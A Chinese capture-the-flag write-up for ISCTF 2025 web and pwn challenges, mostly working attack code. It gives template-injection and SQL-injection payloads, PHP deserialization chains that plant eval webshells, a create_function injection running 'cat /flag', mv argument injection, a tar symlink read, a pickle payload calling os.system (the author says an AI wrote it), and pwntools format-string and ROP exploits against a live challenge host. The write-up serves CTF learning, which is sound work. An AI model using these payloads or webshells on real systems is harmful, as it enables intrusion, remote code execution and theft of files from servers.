ISCTF2025 web/pwn wp

ISCTF 2025

web 有几道很不错的题目,学习了
PWN部分来自队友: @sea_dream

WEB

b@bymailto:b@by n0t1ce b0ard

CVE-2024-12233

A vulnerability was found in code-projects Online Notice Board up to 1.0 and classified as critical. This issue affects some unknown processing of the file /registration.php of the component Profile Picture Handler. The manipulation of the argument img leads to unrestricted upload. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

找到 exploit

https://github.com/LamentXU123/cve/blob/main/RCE1.md

照着打即可

难过的 bottle

我也很难过,怎么第二题就是 bottle

from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time
import shutil


# hint: flag is in /flag

UPLOAD_DIR = 'uploads'
os.makedirs(UPLOAD_DIR, exist_ok=True)
MAX_FILE_SIZE = 1 * 1024 * 1024  # 1MB

BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]

def contains_blacklist(content):
    _"""检查内容是否包含黑名单中的关键词(不区分大小写)"""_
_    _content = content.lower()
    return any(black_word in content for black_word in BLACKLIST)

def safe_extract_zip(zip_path, extract_dir):
    _"""安全解压ZIP文件(防止路径遍历攻击)"""_
_    _with zipfile.ZipFile(zip_path, 'r') as zf:
        for member in zf.infolist():
            member_path = os.path.realpath(os.path.join(extract_dir, member.filename))
            if not member_path.startswith(os.path.realpath(extract_dir)):
                raise ValueError("非法文件路径: 路径遍历攻击检测")
            
            zf.extract(member, extract_dir)

@route('/')
def index():
    _"""首页"""_
_    _return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ZIP文件查看器</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
    <div class="header text-center">
        <div class="container">
            <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
            <p class="lead">安全地上传和查看ZIP文件内容</p>
        </div>
    </div>
    <div class="container">
        <div class="row justify-content-center" id="index-page">
            <div class="col-md-8 text-center">
                <div class="card">
                    <div class="card-body p-5">
                        <div class="emoji-icon">📤</div>
                        <h2 class="card-title">轻松查看ZIP文件内容</h2>
                        <p class="card-text">上传ZIP文件并安全地查看其中的内容,无需解压到本地设备</p>
                        <div class="mt-4">
                            <a href="/upload" class="btn btn-primary btn-lg px-4 me-3">
                                📁 上传ZIP文件
                            </a>
                            <a href="#features" class="btn btn-outline-secondary btn-lg px-4">
                                ℹ️ 了解更多
                            </a>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div class="row mt-5" id="features">
            <div class="col-md-4 mb-4">
                <div class="card h-100">
                    <div class="card-body text-center p-4">
                        <div class="emoji-icon">🛡️</div>
                        <h4>安全检测</h4>
                        <p>系统会自动检测上传文件,防止路径遍历攻击和恶意内容</p>
                    </div>
                </div>
            </div>
            <div class="col-md-4 mb-4">
                <div class="card h-100">
                    <div class="card-body text-center p-4">
                        <div class="emoji-icon">📄</div>
                        <h4>内容预览</h4>
                        <p>直接在线查看ZIP文件中的文本内容,无需下载</p>
                    </div>
                </div>
            </div>
            <div class="col-md-4 mb-4">
                <div class="card h-100">
                    <div class="card-body text-center p-4">
                        <div class="emoji-icon">⚡</div>
                        <h4>快速处理</h4>
                        <p>高效处理小于1MB的ZIP文件,快速获取内容</p>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
    '''

@route('/upload')
def upload_page():
    _"""上传页面"""_
_    _return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>上传ZIP文件</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
    <div class="header text-center">
        <div class="container">
            <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
            <p class="lead">安全地上传和查看ZIP文件内容</p>
        </div>
    </div>
    <div class="container mt-4">
        <div class="row justify-content-center">
            <div class="col-md-8">
                <div class="card">
                    <div class="card-header bg-primary text-white">
                        <h4 class="mb-0">📤 上传ZIP文件</h4>
                    </div>
                    <div class="card-body">
                        <form action="/upload" method="post" enctype="multipart/form-data" class="upload-form">
                            <div class="mb-3">
                                <label for="fileInput" class="form-label">选择ZIP文件(最大1MB)</label>
                                <input class="form-control" type="file" name="file" id="fileInput" accept=".zip" required>
                                <div class="form-text">仅支持.zip格式的文件,且文件大小不超过1MB</div>
                            </div>
                            <button type="submit" class="btn btn-primary w-100">
                                📤 上传文件
                            </button>
                        </form>
                    </div>
                </div>
                <div class="text-center mt-4">
                    <a href="/" class="btn btn-outline-secondary">
                        ↩️ 返回首页
                    </a>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
    '''

@post('/upload')
def upload():
    _"""处理文件上传"""_
_    _zip_file = request.files.get('file')
    if not zip_file or not zip_file.filename.endswith('.zip'):
        return '请上传有效的ZIP文件'
    
    zip_file.file.seek(0, 2)  
    file_size = zip_file.file.tell()
    zip_file.file.seek(0)  
    
    if file_size > MAX_FILE_SIZE:
        return f'文件大小超过限制({MAX_FILE_SIZE/1024/1024}MB)'
    
    timestamp = str(time.time())
    unique_str = zip_file.filename + timestamp
    dir_hash = hashlib.md5(unique_str.encode()).hexdigest()
    extract_dir = os.path.join(UPLOAD_DIR, dir_hash)
    os.makedirs(extract_dir, exist_ok=True)
    
    zip_path = os.path.join(extract_dir, 'uploaded.zip')
    zip_file.save(zip_path)
    
    try:
        safe_extract_zip(zip_path, extract_dir)
    except (zipfile.BadZipFile, ValueError) as e:
        shutil.rmtree(extract_dir) 
        return f'处理ZIP文件时出错: {str(e)}'
    
    files = [f for f in os.listdir(extract_dir) if f != 'uploaded.zip']
    
    return template('''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>上传成功</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
    <div class="header text-center">
        <div class="container">
            <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
            <p class="lead">安全地上传和查看ZIP文件内容</p>
        </div>
    </div>

    <div class="container mt-4">
        <div class="row justify-content-center">
            <div class="col-md-8">
                <div class="card">
                    <div class="card-header bg-success text-white">
                        <h4 class="mb-0">✅ 上传成功!</h4>
                    </div>
                    <div class="card-body">
                        <div class="alert alert-success" role="alert">
                            ✅ 文件已成功上传并解压
                        </div>

                        <h5>文件列表:</h5>
                        <ul class="list-group mb-4">
                            % for file in files:
                            <li class="list-group-item d-flex justify-content-between align-items-center">
                                <span>📄 {{file}}</span>
                                <a href="/view/{{dir_hash}}/{{file}}" class="btn btn-sm btn-outline-primary">
                                    查看
                                </a>
                            </li>
                            % end
                        </ul>

                        % if files:
                        <div class="d-grid gap-2">
                            <a href="/view/{{dir_hash}}/{{files[0]}}" class="btn btn-primary">
                                👀 查看第一个文件
                            </a>
                        </div>
                        % end
                    </div>
                </div>

                <div class="text-center mt-4">
                    <a href="/upload" class="btn btn-outline-primary me-2">
                        ➕ 上传另一个文件
                    </a>
                    <a href="/" class="btn btn-outline-secondary">
                        🏠 返回首页
                    </a>
                </div>
            </div>
        </div>
    </div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
    ''', dir_hash=dir_hash, files=files)

@route('/view/<dir_hash>/<filename:path>')
def view_file(dir_hash, filename):
    file_path = os.path.join(UPLOAD_DIR, dir_hash, filename)
    
    if not os.path.exists(file_path):
        return "文件不存在"
    
    if not os.path.isfile(file_path):
        return "请求的路径不是文件"
    
    real_path = os.path.realpath(file_path)
    if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
        return "非法访问尝试"
    
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
    except:
        try:
            with open(file_path, 'r', encoding='latin-1') as f:
                content = f.read()
        except:
            return "无法读取文件内容(可能是二进制文件)"
    
    if contains_blacklist(content):
        return "文件内容包含不允许的关键词"
    
    try:
        return template(content)
    except Exception as e:
        return f"渲染错误: {str(e)}"

@route('/static/<filename:path>')
def serve_static(filename):
    _"""静态文件服务"""_
_    _return static_file(filename, root='static')

@error(404)
def error404(error):
    return "讨厌啦不是说好只看看不摸的吗"

@error(500)
def error500(error):
    return "不要透进来啊啊啊啊"

if __name__ == '__main__':
    os.makedirs('static', exist_ok=True)
    
    #原神,启动!
    run(host='0.0.0.0', port=5000, debug=False)

黑名单没有的是 a f g l flag

上传压缩包可以查看里面的文件,内容会 bottle 渲染

因为是文件渲染的形式,可以直接斜体字绕过

{{ open("/flag").read() }}
{{ 𝑜𝑝𝑒𝑛("/flag").𝑟𝑒𝑎𝑑() }}

Who am I

正常注册登录,抓包发现登录路由会传一个 type 参数,改成 0 后进入管理员后台

泄露了源码

from flask import Flask,request,render_template,redirect,url_for
import json
import pydash

app=Flask(__name__)

database={}
data_index=0
name=''

@app.route('/',methods=['GET'])
def index():
    return render_template('login.html')

@app.route('/register',methods=['GET'])
def register():
    return render_template('register.html')

@app.route('/registerV2',methods=['POST'])
def registerV2():
    username=request.form['username']
    password=request.form['password']
    password2=request.form['password2']
    if password!=password2:
        return '''
        <script>
        alert('前后密码不一致,请确认后重新输入。');
        window.location.href='/register';
        </script>
        '''
    else:
        global data_index
        data_index+=1
        database[data_index]=username
        database[username]=password
        return redirect(url_for('index'))

@app.route('/user_dashboard',methods=['GET'])
def user_dashboard():
    return render_template('dashboard.html')

@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])
def A272e1739b89da32e983970ece1a086bd():
    return render_template('admin.html')

@app.route('/operate',methods=['GET'])
def operate():
    username=request.args.get('username')
    password=request.args.get('password')
    confirm_password=request.args.get('confirm_password')
    if username in globals() and "old" not in password:
        Username=globals()[username]
        try:
            pydash.set_(Username,password,confirm_password)
            return "oprate success"
        except:
            return "oprate failed"
    else:
        return "oprate failed"

@app.route('/user/name',methods=['POST'])
def name():
    return {'username':user}

def logout():
    return redirect(url_for('index'))

@app.route('/reset',methods=['POST'])
def reset():
    old_password=request.form['old_password']
    new_password=request.form['new_password']
    if user in database and database[user] == old_password:
        database[user]=new_password
        return '''
        <script>
        alert('密码修改成功,请重新登录。');
        window.location.href='/';
        </script>
        '''
    else:
        return '''
        <script>
        alert('密码修改失败,请确认旧密码是否正确。');
        window.location.href='/user_dashboard';
        </script>
        '''

@app.route('/impression',methods=['GET'])
def impression():
    point=request.args.get('point')
    if len(point) > 5:
        return "Invalid request"
    List=["{","}",".","%","<",">","_"]
    for i in point:
        if i in List:
            return "Invalid request"
    return render_template(point)

@app.route('/login',methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    type=request.form['type']
    if username in database and database[username] != password:
        return '''
        <script>
        alert('用户名或密码错误请重新输入。');
        window.location.href='/';
        </script>
        '''
    elif username not in database:
        return '''
        <script>
        alert('用户名或密码错误请重新输入。');
        window.location.href='/';
        </script>
        '''
    else:
        global name
        name=username    
        if int(type)==1:
            return redirect(url_for('user_dashboard'))
        elif int(type)==0:
            return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))

if __name__=='__main__':
    app.run(host='0.0.0.0',port=8080,debug=False)

重点是这几个个路由

@app.route('/operate',methods=['GET'])
def operate():
    username=request.args.get('username')
    password=request.args.get('password')
    confirm_password=request.args.get('confirm_password')
    if username in globals() and "old" not in password:
        Username=globals()[username]
        try:
            pydash.set_(Username,password,confirm_password)
            return "oprate success"
        except:
            return "oprate failed"
    else:
        return "oprate failed"
    
@app.route('/impression',methods=['GET'])
def impression():
    point=request.args.get('point')
    if len(point) > 5:
        return "Invalid request"
    List=["{","}",".","%","<",">","_"]
    for i in point:
        if i in List:
            return "Invalid request"
    return render_template(point)

可以通过 operate 路由修改内置属性

impression 不能模板注入,那么可以尝试把模板路径修改到根目录,然后把 flag 当模板文件读

/operate?username=app&password=jinja_loader.searchpath.0&confirm_password=/

flag 到底在哪

robots.txt 泄露路径

User-agent: *
Disallow: /admin/login.php

看描述像弱口令,但是没跑出来,可能不是

sql 万能密码

admin
' OR '1'='1

然后是一个上传页面,没看出有啥过滤,随便传个马打通了

ezrce

有字母和括号,可以打无参 rce

system(pos(getallheaders()));

来签个到吧

php 反序列化

<?php
class FileLogger {
    public $logfile = "xnftrone.php";
    public $content = "";
}

class ShitMountant {
    public $url;
    public $logger;

    public function __construct($url) {
        $this->url = $url;
        $this->logger = new FileLogger();
    }
}

$shit = new ShitMountant("php://filter/convert.base64-encode/resource=/flag");

$payload = serialize($shit);
echo urlencode($payload);

然后去 api.php 回显一下即可

mv_upload

有一个文件移动的逻辑,猜测后端的命令是这样的

mv * directory/

马上想到可以尝试命令参数注入

mv 命令有两个备份相关的参数

--backup  启动备份
--suffix=<string>  指定备份后缀

启动备份后会在文件存在时为原文件创建一个备份

这里没办法 --suffix=.php,可以传一个 .ph 后缀,然后再把 p 补回去

然后把 aa.ph 上传两次即可

Bypass

有两个可能的利用点

public function __construct($a, $b)
    {
        $this->a = $a;
        $this->b = $b;
        $this->check($a,$b);
        eval($a.$b);
    }
public function __destruct(){
        $a = (string)$this->a;
        $b = (string)$this->b;
        if ($this->check($a,$b)){
            $a("", $b);
        }
        else{
            echo "Try again!";
        }
    }

反序列化触发__destruct,但是命令执行很严格

想办法触发 FLAG 的构造器,用 eval 来打就简单了

尝试过后发现行不通,几乎所有方法都会触发 waf

寻找一番发现 create_function 没被 ban

可以用 create_function 的拼接漏洞来执行命令,命令内容用编码绕过

<?php
class FLAG
{
    private $a;
    protected $b;
    public function __construct($a, $b)
    {
        $this->a = $a;
        $this->b = $b;
    }
}

$command = "cat /flag";
$function = "system";

function str_to_octal($str)
{
    $out = "";
    for ($i = 0; $i < strlen($str); $i++) {
        $out .= '\\' . decoct(ord($str[$i]));
    }
    return $out;
}

$octal_cmd = str_to_octal($command);
$octal_func = str_to_octal($function);

$payload_code = '} $_="' . $octal_func . '"; $_("' . $octal_cmd . '"); /*';
echo $payload_code;
echo "\n\n";

$a = "create_function";
$b = $payload_code;

$obj = new FLAG($a, $b);
$exp = serialize($obj);

echo urlencode($exp);
?>

flag?我就借走了

tar 解压不校验解压后的文件,用符号链接把 flag 读出来

ln -s /flag flaglink
tar cPvf ssti.tar flaglink

ezpop

pop 链

<?php
error_reporting(0);

class begin {
    public $var1;
    public $var2;

    function __construct($a)
    {
        $this->var1 = $a;
    }
    function __destruct() {
        echo $this->var1;
    }

    public function __toString() {
        $newFunc = $this->var2;
        return $newFunc();
    }
}


class starlord {
    public $var4;
    public $var5;
    public $arg1;

    public function __call($arg1, $arg2) {
        $function = $this->var4;
        return $function();
    }

    public function __get($arg1) {
        $this->var5->ll2('b2');
    }
}

class anna {
    public $var6;
    public $var7;

    public function __toString() {
        $long = @$this->var6->add();
        return $long;
    }

    public function __set($arg1, $arg2) {
        if ($this->var7->tt2) {
            echo "yamada yamada";
        }
    }
}

class eenndd {
    public $command;

    public function __get($arg1) {
        if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
            echo "nonono";
        }else {
            eval($this->command);
        }
    }
}

class flaag {
    public $var10;
    public $var11="1145141919810";

    public function __invoke() {
        if (md5(md5($this->var11)) == 666) {
            return $this->var10->hey;
        }
    }
}
eenndd.__get <- flaag.__invoke <- begin.__toString <- begin.__destruct

弱比较简单爆破一下就好

<?php
class begin
{
    public $var1;
    public $var2;

    function __construct($a)
    {
        $this->var1 = $a;
    }
}

class eenndd
{
    public $command = 'eval($_GET[0]);';
}

class flaag
{
    public $var10;
    public $var11 = "213";
}

$end = new eenndd();

$flag = new flaag();
$flag->var10 = $end;

$begin1 = new begin("");
$begin2 = new begin($begin1);
$begin1->var2 = $flag;

$payload = serialize($begin2);
echo urlencode($payload);

unserialize($payload);

include_upload

源码提示有 include.php

<?php
highlight_file(__FILE__);
error_reporting(0);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".png"){
    include'./upload/' . basename($_GET['file']);
    exit;
}
?>

有 basename 没办法路径穿越,同时上传路由的 waf 也很严格

所以考虑了使用 phar 文件包含,用 gzip 打包

参考当 include 邂逅 phar——DeadsecCTF2025 baby-web – fushulingのblog

我们知道,可以使用包含.phar 的文件来进行注入,不需要是后缀名,因此上传 gz 文件将后缀改为 .phar.png 即可

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
    eval($_GET['xnftrone']);
    __HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

?>

双生序列

来签个到吧的升级版

ai 一把梭了

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import base64
import pickle
import requests

TARGET = "http://challenge.bluesharkinfo.com:25507/"  # _TODO: 改成题目给的 URL_
FLAG_PATH = "/flag"                 # _TODO: 视题目实际情况改_

# === 1. Python 端:构造内外层 Pickle ===

# 本地定义一个同名 Set 类,用来生成外层 pickle
class Set:
    def __init__(self):
        self.secret = b""
        self.payload = b""

def build_inner_payload():
    _"""_
_    构造第二层的恶意 pickle,_
_    执行命令: cat FLAG_PATH > /tmp/ssxl/outs.txt_
_    这里用了 protocol 0 的手写 payload 模板,你可以改成其他形式。_
_    """_
_    _cmd = f"cat {FLAG_PATH} > /tmp/ssxl/outs.txt"
    # 经典:cos\nsystem\n(S'cmd'\ntR.
    # 注意 Python3 字节串 & 引号问题,下面是一个简单模板,你可以自己调整或直接硬编码 bytes。
    payload = (
        b"cos\n"
        b"system\n"
        b"(S'" + cmd.encode() + b"'\n"
        b"tR."
    )
    return payload

def build_outer_b64(inner_payload: bytes) -> str:
    _"""_
_    构造外层 Set 对象,并 base64 编码给 Writer 使用_
_    secret 必须等于 Writer::$secret = 'kaqikaqi'_
_    """_
_    _s = Set()
    s.secret = b"kaqikaqi"  # 和 PHP 里 Writer::secret 一致
    s.payload = inner_payload

    raw = pickle.dumps(s)   # 协议随意,服务器那边只要 HMAC 对上即可
    return base64.b64encode(raw).decode()

# === 2. PHP 序列化构造辅助 ===

def php_str(s: str) -> str:
    _"""构造 s:<len>:"xxx"; 这种段"""_
_    _return f's:{len(s)}:"{s}";'

def build_pytools_ser() -> str:
    _"""_
_    run.bin 中的内容,只需要是一个 Pytools 对象即可_
_    属性可以为 0 个,未指定的用类默认值_
_    """_
_    _return 'O:7:"Pytools":0:{}'

def build_writer(b64data: str) -> str:
    _"""_
_    Writer 对象的序列化:_
_    - b64data: 我们给的 base64 字符串_
_    - init: 设为 'init',让 __wakeup() 调用 init() 创建目录_
_    """_
_    _props = (
        php_str("b64data") + php_str(b64data) +
        php_str("init")    + php_str("init")
    )
    return f'O:6:"Writer":2:{{{props}}}'

def build_shark(pytools_ser: str) -> str:
    _"""_
_    Shark 对象,唯一属性 ser = Pytools 序列化_
_    """_
_    _props = php_str("ser") + php_str(pytools_ser)
    return f'O:5:"Shark":1:{{{props}}}'

def build_bridge(b64data: str, pytools_ser: str) -> str:
    _"""_
_    Bridge(writer, shark) 序列化_
_    """_
_    _writer_ser = build_writer(b64data)
    shark_ser = build_shark(pytools_ser)

    props = (
        php_str("writer") + writer_ser +
        php_str("shark")  + shark_ser
    )
    return f'O:6:"Bridge":2:{{{props}}}'

# === 3. HTTP 交互 ===

sess = requests.Session()

def create_note(serialized_bridge: str) -> int:
    _"""_
_    步骤 1: POST /index.php 插入 note_
_    返回新 note 的 id(这里留了 TODO,你可以自己实现解析逻辑)_
_    """_
_    _data = {
        "s": "blueshark:" + serialized_bridge
    }
    r = sess.post(f"{TARGET}/index.php", data=data)
    print("[*] create_note status:", r.status_code)
    # _TODO:_
_    _#  _- 你可以再 GET 一次 /index.php,解析 Recent 区域,_
_    _#    _找到最新的一条记录的 id,或者用一个随机标记在 payload 前面方便识别_
_    _#  _- 这里为了模板简单,直接手动输入 id_
_    _note_id = int(input("[?] 请手动输入这条 note 的 id: "))
    return note_id

def trigger_api(note_id: int):
    _"""_
_    步骤 2: 访问 /api.php?id=note_id_
_    触发 Writer & Shark,把文件写到 /tmp/ssxl/*.bin_
_    """_
_    _params = {"id": note_id}
    r = sess.get(f"{TARGET}/api.php", params=params)
    print("[*] trigger_api status:", r.status_code)
    # 可以打印一下看是否报喵喵喵
    # print(r.text)

def trigger_run():
    _"""_
_    步骤 3: 访问 /run.php?action=run_
_    触发 pytools.py 执行,并尝试从响应中提取 flag_
_    """_
_    _params = {"action": "run"}
    r = sess.get(f"{TARGET}/run.php", params=params)
    print("[*] trigger_run status:", r.status_code)
    print(r.text)  # _TODO: 正则提取 flag,比如 re.search(r'flag\{.*?\}', r.text)_

def main():
    inner = build_inner_payload()
    b64 = build_outer_b64(inner)
    pytools_ser = build_pytools_ser()

    bridge_ser = build_bridge(b64, pytools_ser)
    print("[*] Bridge serialized length:", len(bridge_ser))

    note_id = create_note(bridge_ser)
    trigger_api(note_id)
    trigger_run()

if __name__ == "__main__":
    main()

当然我们还是要分析一下

$allowed = ["Writer", "Shark", "Bridge"];
$o = @unserialize($row["content"], ["allowed_classes" => $allowed]);

if (!($o instanceof Bridge)) {
    $cat->OwO();
    exit(1);
}

$r = $o->fetch();
echo nl2br(htmlspecialchars($r));

需要通过链子最后得到一个 Bridge

class Bridge {
    public $writer;   
    public $shark;

    public function __construct($w, $s) {
        if (!($w instanceof Writer) || !($s instanceof Shark)) {
            echo "喵喵喵?";
            exit(1);
        }
        $this->writer = $w;
        $this->shark = $s;
    }

    public function __get($name) {
        if ($name === "write") {
            if (!($this->writer instanceof Writer)){
                return "喵喵喵?";
            }
            
            $this->writer->fetch();
            return $this->shark;
        }
    }

    public function __isset($name) {
        if ($name === "write") {
            return
                ($this->writer instanceof Writer) &&
                ($this->shark instanceof Shark);
        }
        return false;
    }

    public function __set($name, $value) {
        if ($name === "write") {
            $this->writer = $value;
        }
        else if ($name === "shark") {
            $this->shark = $value;
        }
    }

    public function __unset($name) {
        if ($name === "write") {
            $this->writer = null;
        }
        else if ($name === "shark") {
            $this->shark = null;
        }
    }

    public function fetch() {
        $next = $this->write;
        if ($next instanceof Shark) {
            return $next;
        }
        return "喵喵喵!";
    }
}

Bridge 有两个作用:

  • 通过 Bridge::fetch()拿到 shark 对象
  • 调用 Writer::fetch()来写 /tmp/ssxl/write.bin/tmp/ssxl/write.meta

shark 对象则是可以写 /tmp/ssxl/run.bin

这是 php 的序列化部分,随后可以进行 python 的序列化,入口在 run.php

<?php
require_once "./config.php";
require_once "./classes.php";

$action = $_GET["action"] ?? "喵喵喵?";

if ($action !== "run") {
    exit(1);
}

$binfile = "/tmp/ssxl/run.bin";

$allowed = ["Pytools"];
$exec = @unserialize($data, ["allowed_classes" => $allowed]);

先走到这校验 Pytools 类,说明 /tmp/ssxl/run.bin 里要写 Pytools 的序列化数据

if (method_exists($exec, "__call")) {
    ob_start();
    try {
        $ret = $exec->blueshark();
        $out = ob_get_clean();

        if ($out !== "") {
            echo $out;
        }
        else if ($ret !== null) {
            echo $ret;
        }
        else {
            echo "喵喵喵?";
        }
    }
    catch (Throwable $e) {
        echo "喵喵喵?";
        ob_end_clean();
    }

    exit(0);
}

然后在这个位置调用 Pytools::__call

class Pytools extends Cat {
    public $log = False;
    private $logbuf = "看看你都干了什么好事喵!<br/>";

    public function run() {
        $cmd = "python3 /var/www/html/pytools.py";
        $out = @shell_exec($cmd . " 2>&1");
        $this->log = $out;
        return $out;
    }

    public function __call($name, $args) {
        return $this->run();
    }

调用 pytools.py,流程大概是

def run(self):
        assert self.init()
        data = self.load_bin() # 加载/tmp/ssxl/write.bin

        try:
            obj = self._set_secret(data) # 加载一个Set,取SECRET
        except Exception as e:
            print("==> pickle load failed\n", e)
            if self.jmp:
                Games().gen_redirect()
            return

        meta = self.load_meta() # 读/tmp/ssxl/write.meta
        assert self.sig_check(meta, data) # 做hmac校验

        print("==> obj => ", obj)

        payload = getattr(obj, 'payload', None) # 取payload

        open(self.OUTS, "w").close()

        if isinstance(payload, (bytes, bytearray)):
            try:
                inner = pickle.loads(payload) # pickle反序列化
            except Exception as e:
                print("==> inner pickle load failed\n", e)
                if self.jmp:
                    Games().gen_redirect()
                return

        try:
            out = self.read_out()
        except Exception as e:
            print("==> no outs =>\n", e)
            if self.jmp:
                Games().gen_redirect()
            return

        print("==> out => ", out)

到 pickle 反序列化就可以 rce 了

因此 /tmp/ssxl/write.bin 中需要写一个 Set 的 pickle 序列化数据,包含 secret 和 payload,同时要配合 /tmp/ssxl/write.meta 通过 hmac 验证,整个链子就走通了

密钥是在代码中写死的 kaqikaqi,保证密钥一致就可以了

PWN

来签个到吧

当时随便写在了一个 test 文件,删掉了,所以就没代码了


ez_fmt

from pwn import *
import os
base_dir = os.path.dirname(os.path.abspath(__file__))
os.chdir(base_dir)
print("当前工作目录:", os.getcwd())

p=remote("challenge.bluesharkinfo.com",25237)


p.recvuntil(b'input: ')
p.send('%23$p-%25$p')

leak = p.recvline().strip().decode()
print("raw leak:", leak)

addr1_str, addr2_str = leak.split('-')
addr1 = int(addr1_str, 16)
addr2 = int(addr2_str, 16)

print("addr1 =", hex(addr1))
print("addr2 =", hex(addr2))
p.recvuntil(b'2nd input: ')
ret=0x000000000000101a
payload=b'a'*136+p64(addr1)+p64(0)+p64(addr2-0x135B+ret)+p64(addr2-0x135B+0x11E9)
p.send(payload)

p.interactive()

ez2048

from pwn import *
import os

# 获取当前脚本所在目录的绝对路径
base_dir = os.path.dirname(os.path.abspath(__file__))
# 将工作目录切换到脚本所在目录
os.chdir(base_dir)
print("当前工作目录:", os.getcwd())


context(arch="amd64", os="linux")
context.log_level = "debug"
# context.terminal = ['tmux', 'splitw', '-h']
file = "./ez2048"
elf = ELF(file)
libc = ELF("./libc.so.6")

choice = 1
if choice:
    port = 22748
    target = "challenge.bluesharkinfo.com"
    p = remote(target, port)
else:
    p = process(file)


def debug(cmd=""):
    if choice == 1:
        return
    gdb.attach(p, gdbscript=cmd)


libc_base = b"fake_libc_base"

s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
sa = lambda x, data: p.sendafter(x, data)
sla = lambda x, data: p.sendlineafter(x, data)
r = lambda num=4096: p.recv(num)
rl = lambda num=4096: p.recvline(num)
ru = lambda x: p.recvuntil(x)
itr = lambda: p.interactive()
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
uru64 = lambda: uu64(ru("\x7f")[-6:])
leak = lambda name: log.success("{} = {}".format(name, hex(eval(name))))
libc_os = lambda x: libc_base + x

ru("name\n>")
s("/bin/sh\x00")
ru("start the game")
s("\n")
for i in range(5):
    sl("q")
    sl("a")
sl("q")
sl("q")
ru("$ ")


# print(payload)
payload=b'a'*136+b'b'
# debug()
s(payload)
ru('executing command: ')
ru('b')
canary=uu64(b'\x00'+p.recv(7).strip())
leak('canary')

ru("$ ")
payload = b"exit\x00"
payload = payload.ljust((0x90-8), b"\x00")
payload+=p64(canary)+p64(0)
payload += p64(0x40133E) + p64(0x404A40+6) + p64(0x401355)

s(payload)
itr()

ret2rop

/bin/sh 用 ROPgadgte 找到的不行,system 用 backdoor 那个 call _system 也不行,payload2 也不行

省流:i am very vegetable

from pwn import *
import os

# 获取当前脚本所在目录的绝对路径
base_dir = os.path.dirname(os.path.abspath(__file__))
# 将工作目录切换到脚本所在目录
os.chdir(base_dir)
print("当前工作目录:", os.getcwd())


context(arch="amd64", os="linux")
context.log_level = "debug"
# context.terminal = ['tmux', 'splitw', '-h']
file = "./ret2rop"
elf = ELF(file)
libc = ELF("./libc.so.6")

choice = 1
if choice:
    port = 22621
    target = "challenge.bluesharkinfo.com"
    p = remote(target, port)
else:
    p = process(file)


def debug(cmd=""):
    if choice == 1:
        return
    gdb.attach(p, gdbscript=cmd)


libc_base = b"fake_libc_base"

s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
sa = lambda x, data: p.sendafter(x, data)
sla = lambda x, data: p.sendlineafter(x, data)
r = lambda num=4096: p.recv(num)
rl = lambda num=4096: p.recvline(num)
ru = lambda x: p.recvuntil(x)
itr = lambda: p.interactive()
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
uru64 = lambda: uu64(ru("\x7f")[-6:])
leak = lambda name: log.success("{} = {}".format(name, hex(eval(name))))
libc_os = lambda x: libc_base + x


ret = 0x000000000040101A
rsi = 0x0000000000401A1C
rdi_rsi = 0x0000000000401A25
binsh = 0x000000000040210D
binsh = 0x4040F0
system = 0x401A39
system = elf.sym["system"]
leak("system")
gs = """
b *0x401C0F
watch *(long long *)($rbp+0x20)
"""

ru("watch demo\n")
sl("no")
ru("name\n")
sl("/bin/sh\x00")
ru("introduce yourself\n")


payload1 = b"\x00" * 0x78 + p64(rsi) + p64(binsh) + p64(rdi_rsi) + p64(system)

payload2 = (
    b"\x00" * 0x58
    + p64(rsi)
    + p64(binsh)
    + p64(rdi_rsi)
    + p64(system)
    + b"\x00" * (0x20)
)

# debug()

sl(payload1)

itr()

ez_tcache

一个 house of botcake

https://zqy.ink/2023/01/17/HouseOfBotcake/

